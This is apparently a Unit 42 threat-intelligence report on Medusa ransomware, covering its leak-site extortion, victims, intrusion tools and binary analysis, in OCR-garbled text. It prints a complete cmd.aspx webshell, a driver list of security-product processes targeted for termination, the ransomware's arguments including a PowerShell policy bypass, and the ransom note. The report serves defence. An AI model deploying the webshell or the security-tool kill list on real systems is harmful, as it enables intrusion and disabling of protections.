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Executive Summary

Unit 42 Threat Intelligence analysts have noticed an escalation in Medusa ransomware activities and a shift in
tactics toward extortion, characterized by the introduction in early 2023 of their dedicated leak site called the
Medusa Blog. Medusa threat actors use this site to disclose sensitive data from victims unwilling to comply with

their ransom demands.

As part of their multi-extortion strategy, this group will provide victims with multiple options when their data is
posted on their leak site, such as time extension, data deletion or download of all the data. All of these options

have a price tag depending on the organization impacted by this group.

Besides their strategy of using an onion site for extortion, Medusa threat actors also leverage a public Telegram
channel named “information support,” where files of compromised organizations have been shared publicly and

are more accessible than traditional onion sites.

The Unit 42 Incident Response team has also responded to a Medusa ransomware incident, which has allowed us

to uncover interesting tactics, tools and procedures used by Medusa threat actors.

Palo Alto Networks customers are better protected against ransomware used by the Medusa ransomware group

through Cortex XDR, as well as from the WildFire Cloud-Delivered Security Services for the Next-Generation

Firewall. In particular, the Cortex XDR agent included out-of-the-box protections that prevented adverse behavior
from Medusa ransomware samples we tested without the need for specific detection logic or signatures. Prisma
Cloud Defender Agents can monitor Windows virtual machine instances for known Medusa malware. Cortex
Xpanse can be used to detect vulnerable services exposed directly to the internet that may be exploitable and

infected with Medusa or other ransomware.

The Unit 42 Incident Response team can also be engaged to help with a compromise or to provide a proactive

assessment to lower your risk.

Medusa Ransomware as a Service Overview

Medusa surfaced as a ransomware-as-a-service (RaaS) platform in late 2022 and gained notoriety in early 2023,
primarily targeting Windows environments. Medusa should not be confused with a similarly named RaaS,
MedusaLocker, which has been available since 2019. Our analysis focuses solely on the Medusa ransomware,

publicly known since 2023, which is impacting organizations' Windows environments.

The Medusa ransomware group predominantly propagates its ransomware through the exploitation of vulnerable

services (e.g., public-facing assets or applications with known unpatched vulnerabilities) and hijacking of
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legitimate accounts, often utilizing initial access brokers for infiltration. We will delve into the initial access
strategies and more complex techniques they employ later in this article. We also observed that Medusa

ransomware implements living-off-the-land techniques by using legitimate software for malicious purposes, which

can often blend in with regular traffic and behavior, making it harder to flag such activities.

We have noticed a marked escalation in its activities, characterized by the introduction of the new Medusa Blog
accessible through TOR on an .onion site released in early 2023. A screenshot of the Medusa Blog is shown below
in Figure 1. This platform is used by the perpetrators to disclose sensitive data of victims unwilling to accede to

their ransom demands.
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Figure 1. Medusa Blog dedicated leak site.

As a multi-extortion operation, the Medusa ransomware operator’s announcements include the following points of

information to pressure victims into paying the ransom:

e Price tag: The amount displayed is what the affected organizations need to pay the group for them to delete
the data from the site. (Unit 42 has observed Medusa being willing to negotiate with victims, like many
ransomware groups. Any payments actually made may not directly match the pricing shown on the site.)

e Countdown: The amount of time the impacted organizations have before the stolen data is released publicly
and available to download.

e Number of visitors: The number of post visitors, used in the negotiation strategy to pressure victims into
paying.

e Victim name and description: Identifiable information for the compromised organization.

The group's posts also typically revealed evidence of compromise. They also offered various “choices” — arbitrary
and at the whim of Medusa — to the affected organization aside from paying the primary ransom, as shown in

Figure 2. These choices include the following:
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» A standard fee of $10,000 for a time extension to prevent data from being published on the site
e Arequest for data deletion

e A download option

The price for these second two services can differ from one organization to another.
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Figure 2. Post on the Medusa Blog to a victim.

A recent post on the Medusa Blog shared a video that showed files of a compromised organization. This video
features a title caption of “Medusa Media Team,” which we suspect is the branch of this group that handles their
public brand (shown in Figure 3). We haven’t seen videos of victims’ files with each post on their site, so we are

still unclear if this is going to be a trend. However, ransomware groups like Medusa aim to build a brand and
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reputation, and creating such videos helps to reinforce their image as a formidable threat and enhance their

credibility.

¢ & ] @ AbLo

Figure 3. Screenshot of Medusa Media Team video.

This group does not just host a specialized leak site and videos for extortion purposes. They have also integrated
links to Telegram and X (previously known as Twitter) on the Medusa Blog site. The Telegram channel used by
Medusa is titled "information support," and it is used to publicize and release data exfiltrated by the group. On the

other hand, the link to X simply leads to a search result page for "Medusa ransomware."

The Telegram channel was created in July 2021, and it contains some content from before the emergence of this
group that relies on known public breaches. Unexpectedly, the channel is not Medusa ransomware-branded. Still,
we observed posts in this channel leaking content related to Medusa's compromises and even claims of meeting

with representatives of this threat group. An example of this communication is shown below in Figure 4.

November 25, 2022

Hello community! | love looking for hidden information on the Internet. Today | met the guys from
the hacker group Medusa. She kindly agreed to provide me with a video overview of her
activities on the example of a very cool casino located in the United States of America - m
casino. While | was watching the video, | saw how the casino visitors are deceived, how

the slot machines are reprogrammed. After watching the video, you will understand why you

don't have to go to this casino for sure! And . Medusa has a really cool media team - | was
jealous! | remind you that you can find much more information in my telegram channel, and | also
invite you to visit my Twitter and Facebook. | am waiting for your subscriptions and likes - this

tivates you to rch for new and new content, as well as publish data in the telegram
channel. All links are in the description of the channel. Enjoy watching!
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Figure 4. Information support admin message.

On Feb. 20, 2023, the Telegram channel announced the release of the official Medusa leak site (or as the admin
says, “a new blog of a hacker jellyfish group”). This announcement came with an image featuring the same

branding as the official Medusa leak site, shown in Figure 5.

February 20

WWW.OSIRIEOD. uk

Hello community. | want to introduce you to a new blog of a
hacker jellyfish group. | reaccontate to visit and see

b 1

Figure 5. Information support admin message announcing Medusa Blog site.

It’s unclear at the time of writing this article if the owner of this channel is part of the ransomware operation per

se. We do know that the platform is being leveraged to announce compromises and release exfiltrated information.

Medusa's Prey: Understanding Victimology

For our analysis, we have been focusing on Medusa ransomware samples observed in 2023.

Based on their leak site, Medusa ransomware possibly impacted 74 organizations worldwide in 2023. The sectors
most affected include high technology, education and manufacturing. However, the diverse range of impacted
sectors highlights this group’s opportunistic nature, which is characteristic of many ransomware operations.
Medusa ransomware does not restrict itself to a single industry. Figure 6 highlights the far-ranging impact of their

attacks.
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Figure 6. Industries impacted by Medusa ransomware, based on the leak site.

Medusa ransomware attacks exhibit a substantial international footprint. However, the group’s effects are most
pronounced in the United States, where 24 incidents occurred as of the time of writing. A substantial number of
targeted organizations were based in Europe. The presence of isolated incidents across Africa, South America and
Asia underscore the indiscriminate approach of this ransomware group. Attacks span a global scale even in

regions with fewer reported cases. Figure 7 underlines this point.
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Figure 7. Countries where impacted organizations were located, based on the leak site.

Medusa's Toolkit: Unraveling the Mythical Trade

This section uncovers some of the tools and techniques used by Medusa ransomware actors that we discovered

during an incident response event. The pre-ransomware techniques provide interesting clues to common themes
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across ransomware groups as well as more unique developments in tradecraft by the Medusa ransomware

operators.

Initial Access

Unit 42 researchers observed Medusa ransomware operators uploading a webshell to an exploited Microsoft
Exchange Server. This webshell functionality overlaps with the ASPX files previously reported for login.aspx and

cmd.aspx. An example of cmd.aspx is shown below in Figure 8.

<%@ Page Language="VB" Debug="true" %>
<%@ import Namespace="system.I0" %>
<%@ import Namespace="System.Diagnostics" %>

<script runat="server">

Sub RunCmd{Src As Object, E As EventArgs)
Dim myProcess As New Process()
Dim myProcessStartInfo As New ProcessStartInfo(xpath.text)
myProcessStartInfo.UseShellExecute = false
myProcessStartInfo.RedirectStandardOutput = true
myProcess.StartInfo = myProcessStartInfo
myProcessStartInfo.Arguments=xcmd.text
myProcess.Start()

Dim myStreamReader As StreamReader = myProcess.StandardOutput
Dim myString As String = myStreamReader.Readtoend()
myProcess.Close()

mystring=replace(mystring,"<","&Lt;")

mystring=replace(mystring,">","&gt;")

result.text= vberlf & "<pre>" & mystring & "</pre="
End Sub

</script>

<html>

<body=>

<form runat="server">

<p><asp:lLabel id="L_p" runat="server" width="8@px">Program</asp:lLabel>

<asp:TextBox id="xpath" runat="server" Width="30@8px">c:\windows\system32\cmd.exe</asp:TextBox>
<p><asp:label id="L_a" rumat="server" width="8@px">Arguments</asp:Label>

<asp:TextBox id="xcmd" rumat="server" Width="30@px" Text="/c net user">/c net user</asp:TextBox>
<p><asp:Button id="Button" oncl runcmd" runat="server" Width="108px" Text="Run"></asp:Button>
<p><asp:lLabel id="result" runat="server"s</asp:Label>

</form>

</body>

</html>

Figure 8. Example of the Cmd.aspx webshell.

Following the webshell activity, threat actors used PowerShell to execute a bitsadmin transfer from a file hosting
site called filemail[.]Jcom. The file downloaded from this site was ZIP compressed and titled baby.zip. Upon

decompressing and executing, it installed remote monitoring and management (RMM) software ConnectWise.

Defense Evasion

Unit 42 researchers observed Medusa ransomware operators dropping two kernel drivers for targeting different

sets of security products. Each kernel driver was guarded using a software protector called Safengine Shielden.

The Safengine Shielden protector used on the drivers obfuscates the code flow by randomizing the code through

various code mutations and then leverages an embedded virtual machine interpreter to execute the code.
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Unit 42 observed each driver paired with its own loader. Each loader was packed using a packer called ASM

Guard.

The packed loaders use a fake UPX header and subsequent address next to the fake UPX bytes, as shown in
Figure 9. In the resource section, there are numerous references to ASM Guard as well as fake WINAPI imports

among other various junk paddings, as shown in Figure 10.

Cffset(h) 00 0L 02 03 04 05 0g 07 0& 0% QA OB OC OD OE OF Decoded tewxt
00000000 FD SA 90 00 03 00 00 OO Q4 00O 0Q 00 FF FF 00 Q0 ﬁz .......... ¥,
00000010 B8 00 00 OA OO0 OO0 QO OO0 40 00 33 ZE 30 32 0A 55 ....euns @.3.04.07
00000020 50 58 21 00 5F 30 78 30 30 31 34 3% 33 32 00 00 | PX!'. 0Ox0014932..
Q0000030 00 OO0 00 00 Q0 00 Q0 00 Q0 Q0 QQ 00 80 00 00 00 .. . ..o eeeens ...
00000040 OE 1F BA OE 00 B4 05 CD 21 BS 01 4C CD 21 54 &f ° ir,.Li'Th
00000050 6% 73 20 70O T2 €F 67 72 61 €D 20 €3 €61 6E 6E &F 1is program canno
00000060 74 20 62 65 20 72 75 €E 20 6% 6E 20 44 4F 53 20 t be run in DOS
00000070 €D €F 64 €5 2E 0D OD OR 24 OO0 00 OO0 00 OO0 00 00 mode....5.......
OO000080 50 45 00 00 €4 %6 03 00 32 F5 0% €5 00 QOO 00 00 PE..dt..258.e....
faTatatatatatet s B oY s MR oo B a1 s B a Ta T o M T W S R T B 1~ B s Y o e SR =B T B W B B~ 0

Figure 9. Header of the driver loader is packed with ASM Guard.

~ || 11ASM_Guard::LoadEx( &L )

“ ASM_GUARD : 0
vl RCData

___________________ Y0

------------------- « [J1DC87818&WIN32=
................... o (34 >> 11):11<>
___________________ o O<>n(24 >> 19):2:
___________________  $%%LIB..~(20 >> 1

Figure 10. The resource section of the driver loader is packed with ASM Guard.

Figure 11 shows what the driver entry point looks like after it has been protected with Safengine Shielden.
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7

; NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
public DriverEntry

DriverEntry:
call sub_1406B82E2

7
aSafengineShiel db 'Safengine Shielden v2.4.9.0',0

; =============== S UB RO U T I N E ============z=z=====z=z====================
sub_1400B82E2 proc near ; CODE XREF: .sedata:DriverEntryTp
var_E = dword ptr -dEh

pushfq

sub rsp, 5

mov [rsp+@Eh+var_E], ri5d

jmp loc_1408B7ECD

sub_1400B82E2 endp

5 START OF FUNCTION CHUNK FOR sub_1400B8306

loc_1400B82F0: ; CODE XREF: sub_1400B8306+19!j
add rsp, 23h
mov byte ptr [rsp-1Ah+arg_12], rl4b
lea rsp, [rsp+1]
rcr dl, 1
jmp short loc_1400B8358

5 END OF FUNCTION CHUNK FOR sub_1400B8306

db @EAh, 5, @B4h, @A7h, OCEh

Figure 11. Static view of driver protected with Safengine Shielden.

The primary objective of both drivers is to contain a list of security endpoint products to target for termination or
deletion. The hard-coded list of security product string names shown in Figure 12 is used in a comparison

operation against actively running processes on a system.
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36| if (v7 1=1)

37

38 MessageBoxA(@i64, "Failed to connect kernel driver!™, “System Error”, @x1016u);
39 CurrentProcess = GetCurrentProcess();

40 TerminateProcess(CurrentProcess, @);

a1 | 3

42 | w7 = ud42_wrapper_device ioctl(@x222888u, L"ED AD FG HG GF TR S¥ UT GH NG GT", @x42u, @isd, @);
43| if (v7 !=1)

44 {

45 MessageBoxA(@i64, "Failed to connect kernel driwver!™, "System Error”, @x1016u);
46 v3 = GetCurrentProcess();

47 TerminateProcess(vi, @);

43

49 | while ( 1)

se| {

51 ud?_wrapper_process_enum_cmp_kill({"cecsvchst.exe™);

52 ud2 wrapper_process_enum_cmp_kill("sepwscsvced.exe");

53 ud? wrapper_process_enum_cmp_kill("SETDADCollector.exe™);
54 u42_wrapper_process_enum_cmp_kill("sepagent.exe™);

55 ud2_wrapper_process_enum_cmp_kill("ssdvagent.exe");

56 u42_wrapper_process_enum_cmp_kill("smcgui.exe™);

57 ud2 wrapper_process_enum_cmp_kill("paui.exe™);

58 u42_wrapper_process_enum_cmp_kill("scs.exe™);

59 ud2_wrapper_process_enum_cmp_kill("RepMgréd.exe™);

68 ud?_wrapper_process_enum_cmp_kill("RepMgr.exe™);

61 ud2_wrapper_process_enum_cmp_kill("RepUtils.exe™);

62 ud? wrapper_process_enum_cmp_kill("RepUx.exe");

63 u42_wrapper_process_enum_cmp_kill("RepWsC.exe™);

64 ud2_wrapper_process_enum_cmp_kill("RepCLI.exe™);

65 u42_wrapper_process_enum_cmp_kill("RepWAv.exe™);

66 ud2_wrapper_process_enum_cmp_kill("ReplmilUtils.exe");

67 u42_wrapper_process_enum_cmp_kill("VHostComms.exe™);

68 ud2_wrapper_process_enum_cmp_kill("CbNativeMessagingHost.exe™};
69 ud? wrapper_process_enum_cmp_kill("BladeRunner.exe");

78 ud2_wrapper_process_enum_cmp_kill("scanhost.exe™);

71 ud?_wrapper_process_enum_cmp_kill("upd.exe™);

72 u42_wrapper_process_enum_cmp_kill("savui.exe");

73 ud2_wrapper_process_enum_cmp_kill("avp.exe™);

74 u42_wrapper_process_enum_cmp_kill("avpui.exe”);

75 ud2_wrapper_process_enum_cmp_kill("avpsus.exe™);

76 u42_wrapper_process_enum_cmp_kill("klnagent.exe™);

77 ud2 wrapper_process_enum_cmp_kill("vapm.exe™);

78 ud? wrapper_process_enum_cmp_kill("kavfs.exe");

79 ud2 wrapper_process_enum_cmp_kill("kavfsscs.exe™);

3@ ud2 wrapper_process_enum_cmp_kill("kavfswh.exe");

81 u42_wrapper_process_enum_cmp_kill("kavfswp.exe");

82 ud2 wrapper_process_enum_cmp_kill("kavtray.exe");

83 u42_wrapper_process_enum_cmp_kill("mpcmdrun.exe™);

84 ud2 wrapper_process_enum_cmp_kill("msmpeng.exe”);

85 u42_wrapper_process_enum_cmp_kill("NisSrv.exe™);

86 ud2_wrapper_process_enum_cmp_kill("MpCopyAccelerator.exe™);
a7 Sleep(3e8au);

88| }

89 [}

Figure 12. First driver targeting list of security processes for termination.

If the system has a process name that matches the hard-coded security tool process name, then an undocumented
IOCTL code is used (0x222094) for termination of the process as shown in Figure 13. The primary difference
between the two drivers is the use of file paths and the IOCTL (0x222184), which will delete the file based on the
file path provided.

55 v7 = ud2_wrapper_device_io_control(@x222088, (unsigned int)L"ED AD FG HG GF TR SY UT GH NG GT", 66, @, @);
s6| if (7 1=1)

58| MessageBoxA(@i64, “Failed to connect kernel driver!", "System Error”, @x1610u);
59| v3 = GetCurrentProcess();
66|  TerminateProcess(v3, @);

Y
62| sub_401BOA(L"C:\\Windows\\System32\\drivers\\SentinelOne\\23.1.4.650\\SentinelMonitor.sys");
63| sub_401BE2("C:\\Program Files\\SentinelOne"); F

64 while (1)
65 { -

66 u42_wrapper_process_enum_cmp_kill("sentinelhelperservice.exe");// Sentinelone Function IOCTL: 0x222184

67 u42_wrapper_process_enum_cmp_kill("sentinelservicehost.exe");

68| u42_wrapper_process_enum_cmp_kill("sentinelstaticenginescanner.exe");
69 u42_wrapper_process_enum_cmp_kill("sentinelagent.exe");

76| u42_wrapper_process_enum_cmp_kill("sentinelagentworker.exe");

71 u42_wrapper_process_enum_cmp_kill("sentinelstaticengine.exe");

72| u42_wrapper_process_enum_cmp_kill("sentinelui.exe");

73 u42_wrapper_process_enum_cmp_kill(“mpcmdrun.exe”);// Microsoft

74| u42_wrapper_process_enum_cmp_kill("msmpeng.exe");

75 u42_wrapper_process_enum_cmp_kill("NisSrv.exe");

76 u42_wrapper_process_enum_cmp_kill("MpCopyAccelerator.exe"); .

77| Slespcessen); Function IOCTL: 0x222094
79[
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Figure 13. Second driver targeting file paths and list of processes.

Discovery and Reconnaissance

Unit 42 researchers observed Medusa ransomware actors using the portable version of Netscan — with a novel
twist. An associated netscan.xml file was paired with software that bolstered the overall functionality out of the
box. This included various types of remote service discovery and preconfigured mappings for actions such as

PsExec as well as the deployment of the ransomware binary.
Many options are available from the custom configuration related to the following:

e WMI

e Registry

e Services

e Files

e SNMP

e Account groups
e XML

e SSH

e PowerShell

The remote scripting features extend the tool’s capabilities with VBScript and JScript.

The remote scripts that are included use Cyrillic script (shown in Figure 14).They are translated into English
(shown in Figure 15). This provides a clue to the preferred language of the creator and users of the configuration,

and possibly of the background of the Medusa ransomware group using these features.

Remote Scripting X

Remote Scripting allows to execute a VBScript or JScript against remote computers.

Item Name Script
IJ Cnucok daiinos 13 lines
IJ Bpems noruna 53 lines

IJ IP u MAC koHdurypaums 34 lines
IJ MonHoe uMs nonbsosatens 42 lines

IJ MNpoBepka ApnbIKOB 21 lines
IJ MNpumep c TenHeT 35 lines
IJ Mpumep c DNS 14 lines
IJ WHdopMaums o MoHWTOpe 21 lines
IJ MoTeps nakeTos 29 lines

at : ;

ﬂJ New... Edit... Delete Mark All/None

Figure 14. Remote scripting feature in original Cyrillic.
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Remote Scripting X

Remote Scripting allows to execute a VBScript or JScript against remote computers.

Item Name Script
J list of files 13 lines
J login time 53 lines
J IP and MAC configuration 34 lines
J Full username 42 lines
J Checking shortcuts 21 lines
J Telnet example 35 lines
J An example with DNS 14 lines [’\\5
J Meonitor Information 21 lines
J Packet loss 29 lines
J Remote Access via SNMP 34 lines

” ﬂJ New... Edit... Delete Mark All/None

Figure 15. Remote scripting feature translated to English.

Figure 16 shows an example of the codebase for the list of files script and the contents related to what the files

enumerated under the Windows directory return.
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1 'List files in Windows

2

: "Input parameters

+ strComputer = Input.Current

5

e '"List files with WMI

" Set objWMIService = GetObject ("winmgmts:™

¢ & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
: Set colFiles = objWMIService. _

v ExecQuery("Select * from CIM DataFile where Path = '"\\Windows\\'")
u For Each objFile in colFiles

1z Qutput.Write objFile.Name

1z Next

<

C:\Windows\bfsve.exe
C:\Windows\pootstat.dat
C:\Windows\DtcInstall.log
C:\Windows\explorer.exe
C:\Windows'\HelpPane. exe
C:\Windows'hh.exe
C:\WindowsYsasetup.log
C:\Windows\mib, bin
C:\WindowsWMSCOMCTL.OCX
C:\Windows\msscript. oox
C:\Windows\Mord. Setup.dil
C:\Windows\notepad.exe
C:\Windows\PFRO.log
C:\Windows\Professional. xml
C:\Windows'\py.exe
Cr\Windows\pyshelext. amda4.dll
C:\Wwindows\pyw.exe
C:\Windows'regedit.exe
C:\Windowsrichtx32.0cx
C:\Windows\splwows4. exe
C:\Windows\Sysmon.exe
C:\Windows\SysmaonDrv.sys
C:\Windows\system.ini
C:\Windows\twain_32.dll
C:\Windows\win.ini
C:\Windows\WindowsShell. Manifest
C:\Windows\WindowsUpdate.log
C:\Wwindows\winhlp32.exe
C:\Windows\WMSysPro.prx
C:\WindowsYwrite, exe

Figure 16. Example for list of script files.

Figure 17 shows the codebase for the login time script related to specific login types found and the fields it

returns.
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¥ Add/Edit VBScript

Use Input.Current for IP address and Output. Write for returning

=it data. Use Input. Column(“column name”) to refer to a column,

H » — + =
Open... Save... Run Font- Font+ Script
'Input paramsters
strComputer = Input.Current

1
z
3
¢ '"Uncomment this line for specific user
5 'strUser = "domain\user"

€

"Uncomment this line for specific ussr
& 'strPassword = "password”
1 'Constants

12 whemImpersonationLevelImpersonate = 3
12 wbemAuthenticationlevelPktPrivacy = €

18 "Connect to machine

17 If Not strUser = "" Then

18 'Connect using usesr and password

1 Set objLocator = CreateCbjsct ("WbemScripting.SWhemLocator™)

20 Set objWMI = objLocator.ConnectServer _

21 {strComputer, "root\cimv2", strUser, strPassword) I
22 objWMI.Security .ImpersonationLevel = whemImpersonationLevelImpersonate

ES objWMI.Sscurity .AuthenticationLevel = wbemAuthenticationLevelPktPrivacy

2 Else B

5 'Connect using current user

26 Set objWMI = GetObject ("winmgmts:{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimwv2")
2 End If

2 "Get interactive sessicn

1 Set colSessions = cbjWMI.ExecQusry _
2 ("Sslect * from Win32_LogonSsssion Where LogonTyps = 27)

22 If colSessions.Count = 0 Then

a4 'No interactive session found

5 Output.Write "No interactive user found"
6 Else

27 'Interactive session found

22 For Each objSession in colSessions

2 Set colList = obJWMI.ExecQuery("Associators of " _
@ & "{Win32_LogonSession.LogonId=" & objSession.LogonId & "}
41 & "Where AssocClass=Win32 LoggedOnUser Role=Dependent” )

43 'Show user info
# For Each objItem in collist
15 Cutput.Write "User: " & objItem.Name
4 Cutput.Write "FullNams: " & objItem.FullName
47 Cutput.Write "Domain: " & objItem.Domain
48 Next
=
50 'Show sessicn start time
51 Output.Write "Start Time: " & objSsssion.StartTime
52 Next
s2 End If
<
User:
FullName:

Domain: DESKTCP.
Start Time: 20231120125639.864972-300

Figure 17. Example for login time script.

Upon finishing a network scan, the operator of the tool can then right-click on a device listed in the results and
will have many custom point-and-click options available on a remote system as shown below in Figure 18. The
options in the menu shown in Figure 18 that end with Gaze show a naming convention used by Medusa
ransomware related to the ransomware binary, and give insight into a technique for deploying Medusa

ransomware.

e Copy_Gaze (Ctrl+G)
e Deploy Gaze (Ctrl+T)
e Copy_Run_Gaze (Ctrl+W)
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{ﬁ SoftPerfect Network Scanner [PORTABLE]
File View Actions Options Bookmarks Help

HIEERAA Y (2 9OESG T BSOS
IPv4 From To[ 148 -~ P swrtscaming ||

IP Address Host Name TCP Ports Logged User  LAN Group Free Space  Total Space Disk Drives MIC Vendor
-3 IPce Open Device » As Web (HTTP)
Copy » As Secure Web (HTTPS)
Properties As File Server (FTP)
Rescan device ¥ As Telnet
Wake-On-LAN N As Telnet to...
Remote Shutdown T pe—— Ctrl+M
Remote Suspend / Hibernate Yaanennbiid paboquni cron Ctrl+R
Assign Friendly Name... F2 Rl g GriEl

Send Message... Webroot OFF

Create Batch File... Startk
Delete from List Kurva fas!
DUC OFF
""" NO LOGIMN-----

PsExec new user
PsExec open RDP
PsExec CMD
Coba

ZAM

ipwho
removesophos

uninstallSophos

————— LOGIN--—--

PsExec new User

PsExec open RDP Curl+0
Coba Ctrl+C
ZAM

ipwho

PsExec CMD

Copy_Gaze Ctrl+G
Deploy_Gaze Ctrl+ T
Copy_Run_Gaze Ctrl+W

StopProcessForLock

Figure 18. Medusa ransomware configuration.

In-Depth Look Into Medusa's Gaze

Unit 42 observed a common theme in Medusa’s ransomware binary that aligns with the mythology of Medusa
herself: the use and inclusion of the term gaze in the debug path in PEStudio, as shown in Figure 19. This theme
continued with the name of the binary and the naming scheme used in the netscan.xml configuration file

(mentioned previously). We will refer to the ransomware binary as Gaze in the next section.
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pestudio 9.34 - Malware Initial Assessment - www.winitor.com

file settings about

?
m \gaze.exe property value
""" ;; md3 97A04D0584EB4D CBA6850F9238939C5C
shal 975612B440FE062934ETB41A61 CEDIDAEAGIFFDA

----- > dos-header (84 bytes)

sha256 FDBE3CDOS0DF326477FF30AT1]

TBA93D5AADDBA0GTATOT97F70475EDBECEFFS

----- > rich-header (Visual Studic)
----- > file-header (Dec.2021) |

----- » optional-header (conscle) utc)
----- = directaries (7) format RSDS

..... s size 31 bytes

] age 1

..... )

debug (Dec.2021)
----- E‘f manifest (aslnvoker)

Figure 19. PDB string in Gaze binary.

The Windows variant of Medusa ransomware can be run with 11 possible arguments, as shown below in Table 1.

Argument Purpose

\Y% Check the version of the ransomware binary
n Use network drive (uses a byte flag)

] Exclude system drive (uses a byte flag)

d Do not delete itself

f Exclude system folder

p Do not use preprocess (uses a byte flag)

k Load RSA public key from file

t Load ransom note from file

A PowerShell -execution policy bypass -File %s
\% Show console window

i Encrypt a specific folder

Table 1. Medusa ransomware parameters.

When running a Windows executable sample from November 2023 with the -V argument, the sample identifies as
version 1.20 as shown below in Figure 20. This versioning system shows that the ransomware has some sort of

development cycle, as one of the earliest public sightings of the ransomware binary was uploaded in February
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2023 and is version 1.10. It is observed within SHA-256
736de79e0a2d08156bae608b2a3e63336829d59d38d61907642149a566ebd270.

Figure 20. Ransomware sample version.

The Medusa ransomware binary employs string encryption for the following functions:

o Targeted services
o Targeted processes
o File extension allowlist

e Folder path allowlist

Figure 21 shows one code block example of the many string decryption code blocks within the binary, all of which
have a similar control flow. Each string decryption code block has two functions. The first function moves the
encrypted string into memory shown as u42_push_string_medusa in Figure 21. The second function is named

u42_string_decrypt_7characters and uses an XOR encryption method with the key of 0x2E (also Figure 21).

A 4
FIE
mow [ebp+var_1], cl
lea ecx, [ebpt+var_1]
call ud2 push_string medusa
Mo esl, eax
Mo ecx, esi
call ud? string decrypt 7characters
Mo eax, (offset xmmword 187780442Eh)
sub eax, esi
nop dword ptr [eaxteax+2ee28880h )
L

Figure 21. String decryption function in the Gaze.exe ransomware sample.

In Figure 22, the hex representation for the string is moved and allocated on the functions stack frame, and then

the hex string is moved into a section of memory and retrieved with a dereferenced pointer.

1| int64 *u42_push_string_medusa()

21

if ( dword_1@7EFA® > *(_DWORD *)(*(_DWORD *)NtCurrentTeb()->ThreadlLocalSteragePointer + 4) )
{

5 _Init_thread_header(&dword_1B87EFAB);

& if ( dword 187EFAG == -1 )

qword_lB7ESAR = Bx2EGF7D7BRARBR3IBA1G4; // Encrypted String: .ckj{}o.
/ Decrypted String: .Medusa

atexit(sub_1858338);

11 _Init_thread_footer(&dword_1B7EFAR);
12 }

14 | return &gword_187E8A8;

15 [}

Figure 22. Decompiled view of moving encrypted hex string 0x2E6F7D7B6A6B6300.
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When the function u42_push_string_medusa is done and returns a pointer to the string, it will initially be located
in EAX as shown in Figure 21. EAX will be moved into ESI and then the contents of ESI will be moved into
ECX. The register ECX is the parameter passed to the function u42_string_decrypt_7character, which contains the

encrypted string pointer.

The pointer to the string contents is used as an array to access each character in the string. XOR decrypts it with

the key of 0x2E as shown in Figure 23.

1 [char _ thiscall u42 string decrypt 7characters({ BYTE *this)

2 [t

3 char result; // al

5 result = this[7];

6| if ( result )

7| 1

8 *thiz ™= Bw2Eu;

9 this[1] "= @x2Eu;
1@ this[2] "= @x2Eu;
11 this[3] *= @x2Eu;
12 this[4] "= @w2Eu;
13 this[5] "= @w2Eu;
14 this[B] "= @x2Eu;
15 result = Bx2Eu;
16 this[¥] = result;
17| }

18 return result;
19 [}

Figure 23. Decompiled view of string decryption function used on 0x2E6F7D7B6A6B6300.

Validation of the string decryption method can be seen as shown in Figure 24 with a CyberChef recipe.
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Recipe < M | Input
ZESFTDFB{SAEBEBBG{
From Hex | i
Delimiter
Auto
Reverse
Character
XOR
Key
2€ HEX ~
Scheme .
Standard D Null preserving
Output

Figure 24. Verification of string decryption using CyberChef.

Medusa ransomware uses RSA asymmetric encryption for protecting the AES256 key used for encrypting a
victim’s files. The AES256 key is set up using a 32-byte key and a 16-byte initialization vector. The encrypted

files are renamed with the extension .medusa.

During file enumeration and encryption, the sample avoids files with the following extensions:

o dl
* .exe
e .Ink
e .medusa

The list of folder paths to skip is as follows:

e \Windows\

e \Windows.old\
e \PerfLogs\

e \MSOCache\
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e G_skp_dir

Program Files

Program Files (x86)

e ProgramData.

The ransom note is dropped as !!read_me_medusa!!.txt and its contents are shown in Figure 25.

" INREAD_ME_MEDUSALtxt - Notepad
File Edit Formst View Help

331 S5\ PE9PTITIN $25GEE\ S9N IP\  $E5EEE\ 299999\
$3% |33 $% 385 $5 |35 __$5\ §5 __ 5%\

$35% | 1 \ 85 | _ _

$395\ 3999 |93 | $$ | 35 (85 | 9% (3% / \_Is$ / 33|

$EASENES 99 99560 83 | 89 185 | 85 [\SSEIEEN 99995999 |

$5 0885 99 I | 55| S5 I%$ | 85 | N $%v 8% _ 99 |

$5 NS /9% |53 | $5 | 85 (3% | 95 [33\ 5% 88| 5% |

$5 | \_/ 35 |55555555\ 5339555 [\$55555 [\555585 [35 | 3% |

| AW A I VAN /N /]

77777777777777777777777777777 [ Hello, I

Sorry to interrupt your busy business.

WHAT HAPPEND?

1. We have PENETRATE your network and COPIED data.

* We have penetrated your entire network for several months and researched all abeout your data.

* You're high tech wvaluable business and your data was very crucial.

* And finally, we have copied terabytes of all your confidential data and uploaded to several private & cloud storages.

2. We have ENCRYPTED your files.

We mainly focus on data exfiltration but we also encrypt some of your files too.

While you are reading this message, it means your files and data has been ENCRYPTED by world's strongest ransomware.
Your files have encrypted with new military-grade encryption algorithm and you can not decrypt your files.

But don't worry, we can decrypt your files.

There is only one possible way to get back your computers and servers, keep your privacy safe - CONTACT us wia LIVE CHAT and pay for the special
MEDUSA DECRYPTOR and DECRYPTION KEYs.
This MEDUSA DECRYPTOR will restore your entire network within less than 1 business day.

WHAT GUARANTEES?
We can post all of your sensitive data to the public and send emails to your customers.
We have professional OSINTs and media team for leak data to telegram, facebook, twitter channels and top news websites. You can easily search about us.

You can suffer significant problems due disastrous consequences, leading to loss of valuable intellectual property and other sensitive information,
costly incident response efforts, information misuse/abuse, loss of customer trust, brand and reputational damage, legal and regulatory issues.
After paying for the data breach and decryption, we guarantee that your data will never be leaked and this is also for our reputation.

YOU should be AWARE!

We will speak only with an authorized person. It can be the CEQ, top management, etc.
In case you ar not such a persen - DON'T CONTACT US! Your decisiens and action can result in serious harm to your company!
Inform your supervisors and stay calm!

If you do not contact us within 3 days, We will start publish your case to our official blog and everybody will start notice your incident!
-------------------- [ Official blog tor address J--------c-eoeaaaanon
Using TOR Browser(https://www.torproject.org/download/):

http://medusaxko?jxtrojdkxo66j7ckdq5tgktf7ugsqyfrydebnxlcbkccyd.onion/

CONTACT US!

-[ Your company live chat address ]-
Using TOR Browser(https://www.torproject.org/download/):

http: //medusakxxtp3uo?vusntvubnytaphdd3amxivbggl3hnhpk2nmus34yd.onion/

